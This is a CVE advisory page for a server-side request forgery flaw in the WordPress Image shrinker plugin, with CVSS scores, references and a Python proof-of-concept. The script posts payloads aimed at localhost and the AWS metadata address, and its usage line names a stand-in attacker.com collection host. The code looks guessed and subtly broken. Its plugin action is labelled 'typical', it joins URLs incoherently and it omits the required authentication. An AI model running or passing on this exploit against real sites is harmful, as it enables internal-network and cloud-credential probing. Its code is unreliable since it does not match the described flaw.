CVE-2025-68893

Description

Server-Side Request Forgery (SSRF) vulnerability in HETWORKS WordPress Image shrinker wp-image-shrinker allows Server Side Request Forgery.This issue affects WordPress Image shrinker: from n/a through <= 1.1.0.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

wp-image-shrinker <= 1.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2025-68893 PoC - WordPress Image shrinker SSRF
"""
import requests
import sys

def exploit_ssrf(target_url, attacker_server):
    """
    Exploit SSRF vulnerability in WordPress Image shrinker plugin
    target_url: URL of the WordPress site
    attacker_server: Your controlled server to receive SSRF requests
    """
    # Target endpoint (typical WordPress admin ajax endpoint)
    endpoint = f"{target_url}/wp-admin/admin-ajax.php"
    
    # SSRF payload targeting internal resources
    payloads = [
        f"http://localhost/{attacker_server}",
        f"http://127.0.0.1/{attacker_server}",
        f"http://169.254.169.254/{attacker_server}"  # AWS metadata
    ]
    
    for payload in payloads:
        data = {
            'action': 'wp_image_shrinker',  # Plugin action
            'image_url': payload,
            'quality': '80'
        }
        
        try:
            print(f"[*] Sending payload: {payload}")
            response = requests.post(endpoint, data=data, timeout=10)
            print(f"[*] Response status: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"[!] Request failed: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target_url> <attacker_server>")
        print(f"Example: {sys.argv[0]} http://victim.com http://attacker.com/collect")
        sys.exit(1)
    
    target_url = sys.argv[1]
    attacker_server = sys.argv[2]
    exploit_ssrf(target_url, attacker_server)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68893
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68893
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68893/
[4] VulDB https://vuldb.com/cve/CVE-2025-68893
[5] https://patchstack.com/database/Wordpress/Plugin/wp-image-shrinker/vulnerability/wordpress-wordpress-image-shrinker-plugin-1-1-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

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